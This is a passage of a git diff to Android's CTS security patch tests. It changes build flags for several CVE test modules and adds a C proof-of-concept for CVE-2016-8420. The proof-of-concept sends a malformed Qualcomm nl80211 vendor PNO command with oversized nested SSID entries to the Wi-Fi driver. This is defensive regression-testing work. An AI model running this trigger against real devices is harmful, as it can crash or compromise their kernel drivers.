-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
index fd7fc21..c29bfbd 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
index bba13f3..5b86c1f 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
@@ -22,14 +22,9 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8420/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8420/Android.mk
new file mode 100644
index 0000000..47b6bff
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8420/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8420
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/libnl/include/ \
+ $(TOP)/external/libnl/lib/ \
+
+LOCAL_SHARED_LIBRARIES:= libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8420/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8420/poc.c
new file mode 100644
index 0000000..a17ea26
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8420/poc.c
@@ -0,0 +1,486 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h> /* See NOTES */
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 1024
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define KGSL_IOC_TYPE 0x09
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+#define IEEE80211_MAX_SSID_LEN 32
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ /* keep last */
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+enum qca_wlan_vendor_attr_extscan_config_params {
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
+
+ /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
+ * either gets it from caller, e.g., framework, or generates one if
+ * framework doesn't provide it.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
+
+ /* NL attributes for input params used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
+ */
+
+ /* Unsigned 32-bit value; channel frequency */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
+ /* Unsigned 32-bit value; dwell time in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
+ /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
+ /* Unsigned 8-bit value; channel class */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
+
+ /* Unsigned 8-bit value; bucket index, 0 based */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
+ /* Unsigned 8-bit value; band. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
+ /* Unsigned 32-bit value; desired period, in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
+ /* Unsigned 8-bit value; report events semantics. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
+ /* Unsigned 32-bit value.
+ * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
+
+ /* Unsigned 32-bit value; base timer period in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
+ /* Unsigned 32-bit value; number of APs to store in each scan in the
+ * BSSID/RSSI history buffer (keep the highest RSSI APs).
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
+ /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
+ * APPS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
+ /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
+ * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
+ * array is determined by NUM_BUCKETS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
+
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
+ /* Unsigned 32-bit value; maximum number of results to be returned. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
+
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
+
+ /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
+ * array of AP_THRESHOLD_PARAM attributes and values. The size of the
+ * array is determined by NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
+
+ /* Unsigned 32bit value; number of samples for averaging RSSI. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of APs breaching threshold. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
+ /* Unsigned 32bit value; number of APs. Followed by an array of
+ * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
+
+ /* Unsigned 32-bit value. If max_period is non zero or different than
+ * period, then this bucket is an exponential backoff bucket.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
+ /* Unsigned 32-bit value. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
+ /* Unsigned 32-bit value. For exponential back off bucket, number of scans
+ * to performed for a given period.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
+ /* Unsigned 8-bit value; in number of scans, wake up AP after these
+ * many scans.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
+ */
+ /* Unsigned 32bit value; number of samples to confirm SSID loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
+ /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
+ * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
+ * array is determined by NUM_SSID.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
+
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
+
+ /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
+};
+
+#define QCA_NL80211_VENDOR_ID 0x001374
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
+
+#define SIR_PASSPOINT_REALM_LEN 256
+#define SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM 16
+#define SIR_PASSPOINT_PLMN_LEN 3
+
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START 20
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAM_BASE_PERIOD \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
+#define PARAM_MAX_AP_PER_SCAN \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
+
+#define PARAM_RPT_THRHLD_PERCENT \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
+#define PARAM_RPT_THRHLD_NUM_SCANS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
+
+#define PARAM_NUM_BUCKETS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+
+#define WIFI_BAND_UNSPECIFIED 0
+enum qca_wlan_vendor_attr_pno_config_params {
+ QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
+ /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
+ * attributes. Array size =
+ * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,
+
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
+ /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
+ * realm, 0 if unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
+ /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
+ * to match, 0 if unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
+ /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
+ * unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
+ /* Array of nested
+ * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
+ * attributes. Array size =
+ * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
+ /* Signed 8-bit value; threshold for considering this SSID as found,
+ * required granularity for this threshold is 4dBm to 8dBm
+ * This attribute is obsolete.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
+ /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
+ /* Unsigned 8-bit value; auth bit field for matching WPA IE */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,
+
+ /* Unsigned 8-bit to indicate ePNO type;
+ * It takes values from qca_wlan_epno_type
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,
+
+ /* Nested attribute to send the channel list */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,
+
+ /* Unsigned 32-bit value; indicates the Interval between PNO scan
+ * cycles in msec
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
+ /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
+ * considered
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
+ /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
+ * be considered
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
+ /* Signed 32-bit value; the maximum score that a network
+ * can have before bonuses
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
+ /* Signed 32-bit value; only report when there is a network's
+ * score this much higher han the current connection
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
+ /* Signed 32-bit value; score bonus for all networks with
+ * the same network flag
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
+ /* Signed 32-bit value; score bonus for networks that are
+ * not open
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
+ /* Signed 32-bit value; 5GHz RSSI score bonus
+ * applied to all 5GHz networks
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
+};
+
+#define QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS 7
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST 69
+#define QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI 16
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret2;
+ struct nlattr *rret3;
+ struct nlattr *rret4;
+ unsigned char buf_in[300] = {0xff};
+ int i = 0;
+ unsigned char data_in[SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM];
+
+ unsigned char hb_params[512];
+
+ struct nl80211_sta_flag_update flags;
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS, 1);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
+ 0x123);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI, 0x123);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI, 0x456);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX, 0x234);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS, 0x111);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS, 0x111);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS, 0x111);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS, 0x111);
+
+ rret2 = nla_nest_start(
+ msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST);
+ if (!rret2) {
+ return 1;
+ }
+
+ for (i = 0; i < 32; ++i) {
+ rret3 = nla_nest_start(
+ msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST);
+ if (!rret3) {
+ return 1;
+ }
+
+ nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID,
+ IEEE80211_MAX_SSID_LEN, &buf_in);
+ nla_put_u8(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS,
+ 0x11);
+ nla_put_u8(msg,
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT,
+ 0xff);
+
+ nla_nest_end(msg, rret3);
+ }
+
+ nla_nest_end(msg, rret2);
+ nla_nest_end(msg, rret);
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+ if (getuid() != 0) {
+ return -1;
+ }
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_GET_WIPHY 1
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
index 5ff169b..985b7d8 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
